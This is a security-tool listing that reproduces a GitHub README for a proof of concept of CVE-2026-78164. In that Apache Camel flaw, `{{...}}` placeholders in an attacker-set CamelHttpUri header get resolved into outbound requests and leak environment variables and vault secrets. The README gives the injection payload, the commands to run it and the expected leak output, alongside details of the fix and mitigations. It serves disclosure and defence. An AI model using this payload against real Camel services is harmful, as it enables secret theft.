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CVE-2026-78164 — Runnable proof-of-concept for CVE-2026-78164, demonstrating secret leakage when Apache Camel HTTP producers resolve property placeholders in attacker-supplied CamelHttpUri headers. | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-78164
Defensive ToolsVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringLearning & Education
GitHuboscerd/cve-2026-78164

CVE-2026-78164

Runnable proof-of-concept for CVE-2026-78164, demonstrating secret leakage when Apache Camel HTTP producers resolve property placeholders in attacker-supplied CamelHttpUri headers.

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161 month agoNot yet reviewed
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CVE-2026-78164 — Camel HTTP producers resolve property placeholders on message-supplied URI headers

Runnable proof-of-concept reproducer for the Apache Camel vulnerability where the HTTP producer families let an inbound message override the endpoint URI through the CamelHttpUri and CamelRestHttpUri headers, and then passed that message-supplied string through CamelContext.resolvePropertyPlaceholders() before using it.

Property-placeholder resolution is a configuration-resolution facility, not a URI-parsing step. It reaches operating-system environment variables, JVM system properties, every PropertiesFunction on the classpath (including the AWS, Azure, GCP, HashiCorp, IBM, CyberArk and Kubernetes secret functions) and — through camel-bean — the invocation of a no-argument method on any bean in the registry. Applying it to attacker- influenced Exchange content turns a URI string into a configuration- and bean-evaluation context. A route author opted into none of this: a plain static to("http://backend/api") was sufficient.

RuntimeDirectoryStack
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-http 4.22.0 (affected; fixed 4.22.1)
Camel Quarkuscamel-quarkus/Quarkus 3.29.0 + camel-quarkus-http 3.29.0 (Camel 4.15.0, affected)

The behaviour predates the 4.x line (it dates back to camel-http4 / camel-netty4), so every affected release and the Camel 4.15.0 in the latest Camel Quarkus are vulnerable. The fix ships in Camel 4.18.5 / 4.22.1 / 4.23.0; the Spring Boot module runs both the affected build (4.22.0) and the fixed build (4.22.1). No released Camel Quarkus yet bundles a fixed Camel.

What it demonstrates

The route is a plain static to("http://127.0.0.1:9100/collect") pointing at a local collector. The attacker sets the CamelHttpUri header to a URI carrying a property-placeholder token — without knowing the secret value, only naming the key:

CamelHttpUri: http://127.0.0.1:9100/collect?leak={{sys:cve78164.secret}}

The app seeds a JVM system property cve78164.secret to stand in for any configuration value or vault secret. On the affected build the producer resolves the placeholder before the request goes out, so the collector sees the secret in the outbound query. On the fixed build the token is forwarded literally.

cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Expected output on the affected build:

Outbound request observed by the collector:
    GET /collect?leak=S3CR3T-cve78164-do-not-leak

>>> PROVEN: the {{sys:...}} placeholder in the attacker-supplied CamelHttpUri was resolved,
>>> expanding the secret 'S3CR3T-cve78164-do-not-leak' into the outbound request.

On the fixed build the collector instead sees GET /collect?leak={{sys:cve78164.secret}} (literal, not resolved).

Vulnerability Summary

PropertyValue
Componentcamel-http / camel-http-common / camel-vertx-http / camel-undertow / camel-netty-http
CWECWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine), CWE-200 (Information Exposure)
SeverityHIGH
Attack vectorCamelHttpUri / CamelRestHttpUri override header carrying a {{...}} token; the body/headers are not bounded by bridgeEndpoint, and several consumers populate CamelHttpUri from the request line as a reverse-proxy feature
ImpactExpansion of environment variables, system properties and vault secrets into the outbound request; no-arg invocation of registry beans; a set/unset config key oracle via the echoed error
Affected VersionsFrom 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1 (behaviour predates 4.x)
Fixed Versions4.18.5, 4.22.1, 4.23.0
JIRACAMEL-24418
Credit[email protected]

Advisory: https://camel.apache.org/security/CVE-2026-78164.html

The fix

The per-message resolvePropertyPlaceholders() call is removed at every affected site, so a {{...}} token that appears only in CamelHttpUri or CamelRestHttpUri is now treated as a literal part of the URI. Placeholders in the route's own endpoint URI are unaffected — they are resolved once, at build time, when the endpoint is created.

Mitigation if you cannot upgrade

Strip the override headers at the trust boundary before the producer with removeHeader("CamelHttpUri") and removeHeader("CamelRestHttpUri"), or set skipControlHeaders=true on camel-http endpoints (the only component offering that option). bridgeEndpoint=true is not a workaround. Apply a strict inbound HeaderFilterStrategy on consumers exposed to untrusted senders, and resolve secrets through a vault rather than through env/system properties a placeholder can name.

Disclaimer

This repository is published for educational and defensive purposes: to help Apache Camel users understand the vulnerability, verify whether they are affected, and confirm that upgrading resolves it. The "secret" is an inert local fixture. Do not use this material against systems you do not own or operate.

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